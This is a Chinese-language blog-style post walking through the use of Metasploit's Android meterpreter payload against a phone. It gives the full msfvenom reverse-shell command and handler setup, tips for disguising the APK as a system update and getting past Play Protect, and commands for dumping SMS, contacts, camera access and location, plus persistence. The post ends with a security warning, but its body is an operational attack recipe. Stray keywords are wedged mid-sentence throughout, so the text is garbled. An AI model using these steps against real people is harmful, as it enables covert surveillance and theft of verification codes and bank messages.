Metasploit里有个模块叫android/meterpreter/reverse_tcp，入侵生成一个APK，安卓发过去让对方装上，手机你就能在Kali上拿到一个meterpreter会话。入侵整个过程不需要对方root，安卓不需要什么0day，手机靠的入侵就是用户自己点"允许安装未知来源应用"。这事比大多数人想象的安卓简单得多。

我拿手头一台闲置的手机Redmi Note 8试过。Kali虚拟机桥接网卡，入侵msfconsole进去，安卓use exploit/multi/handler，手机payload选android/meterpreter/reverse_tcp，入侵LHOST填Kali的安卓局域网IP，LPORT随便给个4444。手机run之后监听就起来了。接着用msfvenom生成APK：

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 -o update.apk

生成的APK大概10KB出头，图标是默认的安卓小机器人，名字可以随便改。我把文件名改成"系统更新补丁.apk"，通过微信传到手机上。安装时系统弹了两次警告——一次是"未知来源"，一次是Play Protect扫描提示。关掉Play Protect的实时扫描，点继续安装，装完打开，屏幕闪了一下就没了。看起来什么都没发生。

但Kali那边已经弹出了meterpreter会话。敲个sysinfo，手机型号、Android版本、IP地址全出来了。再敲webcam_list，前后摄像头都能调。dump_sms直接把短信数据库拉下来，验证码、银行通知一览无余。dump_contacts同理。还有geolocate，只要手机开着GPS，经纬度精确到小数点后六位。

整个过程最讽刺的地方在于：手机端没有任何异常提示。没有弹窗，没有发热，没有卡顿。受害者该刷抖音刷抖音，该聊微信聊微信。meterpreter跑在后台，用的是正常的网络请求，流量特征跟普通应用没什么区别。除非你去设置里翻应用列表，看到一个没有图标、名字奇怪的条目，否则根本发现不了。

当然，这招有前提。Android 7以上对未知来源安装管得严，得手动开权限。Play Protect如果开着，安装时大概率会拦截。而且APK没有签名，有些定制ROM会直接拒绝。但这些都不是技术问题，是社工问题。只要对方信任你发来的文件，剩下的就是点几下屏幕的事。

真正让我觉得不安的是后续的持久化。meterpreter里有个persistence脚本，能生成一个开机自启的服务，把payload藏进系统目录。手机重启多少次都没用，会话断了自动重连。除非恢复出厂设置，否则清不掉。我试过用手机自带的安全中心扫描，扫了三遍，啥也没报。

所以别觉得"我不乱装东西就没事"。你从第三方市场下的破解游戏、别人发来的"内部版"微信、甚至某些看着正规的APK，里面塞没塞东西你根本不知道。Kali只是把这件事的门槛降到了会用命令行就行。真正的风险从来不在工具本身，在于你点"安装"那一下的时候，脑子里有没有过一丝犹豫。